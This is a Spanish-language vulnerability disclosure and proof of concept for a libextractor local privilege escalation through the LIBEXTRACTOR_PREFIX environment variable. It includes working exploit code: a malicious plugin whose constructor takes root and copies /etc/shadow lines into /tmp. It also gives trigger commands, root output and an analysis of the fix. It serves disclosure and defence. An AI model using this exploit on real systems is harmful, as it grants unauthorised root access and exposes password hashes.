
Prueba de concepto para CVE-2026-100310, una escalada de privilegios local en GNU libextractor ≤1.15 a través de la ruta de búsqueda no confiable LIBEXTRACTOR_PREFIX, con código de explotación y análisis del parche.
El mecanismo de carga de plugins de GNU libextractor utiliza la variable de entorno LIBEXTRACTOR_PREFIX para determinar desde dónde cargar las bibliotecas compartidas (plugins .so). Debido a que utiliza getenv() en lugar de secure_getenv(), esta variable de entorno no se elimina cuando un proceso se ejecuta con privilegios elevados. Un atacante puede establecer LIBEXTRACTOR_PREFIX a un directorio malicioso, forzando a cualquier aplicación que cargue plugins de libextractor a ejecutar código arbitrario.
Impacto principal: Escalada de privilegios local (LPE) a root.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-100310 |
| Producto | GNU libextractor |
| Versiones afectadas | >= 0, < 1.16 |
| Versión corregida | 1.16 |
| CVSS 4.0 | 7.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| Severidad | HIGH |
| CWE | CWE-426 (Ruta de búsqueda no confiable) |
| Vector de ataque | Local |
| Privilegios requeridos | Bajos |
| Interacción del usuario | Ninguna |
| CNA | VulnCheck |
| Investigador | Haitam Lazaar |
Nota: Para que esta vulnerabilidad resulte en una escalada de privilegios local, un administrador debe haber configurado un binario que enlace con
libextractorcon el bitsetuid. Aunquelibextractoren sí mismo no incluye un binariosetuid, cualquier proceso privilegiado o demonio del sistema que enlace dinámicamente esta biblioteca y no logre sanear manualmente el entorno es vulnerable a un compromiso total.
setuid o demonio privilegiado que enlace contra libextractor
La animación anterior demuestra el exploit. El atacante compila una biblioteca compartida maliciosa (evil_plugin.c) y la coloca en /tmp/evil_plugins. Al ejecutar un binario setuid que utiliza libextractor y prefijar el comando con LIBEXTRACTOR_PREFIX=/tmp/evil_plugins, el enlazador dinámico carga el plugin malicioso con privilegios elevados. Esto ejecuta inmediatamente comandos arbitrarios como root, demostrado al escribir la salida de id y el archivo restringido /etc/shadow en /tmp/privesc_proof.
La vulnerabilidad se desencadena principalmente al explotar la variable de entorno LIBEXTRACTOR_PREFIX.
(Nota: libextractor también contiene mecanismos de respaldo secundarios inseguros que utilizan /proc/PID/maps y directorios PATH escribibles, pero la inyección de la variable de entorno es el vector de ataque más directo y fiable).
/*
* evil_plugin.c — Malicious libextractor plugin for privilege escalation
* Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* Place in a directory and set LIBEXTRACTOR_PREFIX to that directory.
* When any setuid application loads the OLE2 plugin, this constructor
* escalates to full root (uid=0, gid=0) and runs arbitrary commands.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
/* Escalate: euid=0 allows setuid(0) which sets real uid=0 */
setuid(0);
setgid(0);
/* Now running as full root — shell commands work */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
Probado en Ubuntu 24.04 con libextractor 1.14:
# 1. Compile the malicious plugin
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 2. Simulate the misconfigured (setuid) target binary
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 3. Trigger the exploit as an unprivileged user
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
En src/main/extractor_plugpath.c, la función get_installation_paths() llama al getenv() estándar:
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
Debido a que no utiliza secure_getenv(), el enlazador dinámico no elimina esta variable cuando el binario se ejecuta con privilegios elevados (a diferencia de LD_PRELOAD o LD_LIBRARY_PATH). lt_dlopenadvise() entonces carga ciegamente libextractor_<name>.so desde la ruta controlada por el atacante.
El mantenedor corrigió esto en la versión 1.16 reemplazando getenv() con secure_getenv(), que devuelve NULL cuando el proceso se ejecuta con privilegios elevados (euid != uid).
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
Descubierto por mí (Haitam Lazaar) durante mi investigación de seguridad independiente.
Un agradecimiento especial a Christian Grothoff, el mantenedor de GNU libextractor, por su increíblemente rápida clasificación, comunicación profesional y rápido despliegue de parches (v1.15, v1.16 y v1.17) para resolver esta y otras varias cuestiones de seguridad de memoria reportadas durante esta auditoría.
Mi investigación se proporciona con fines educativos y defensivos. Úsela de manera responsable.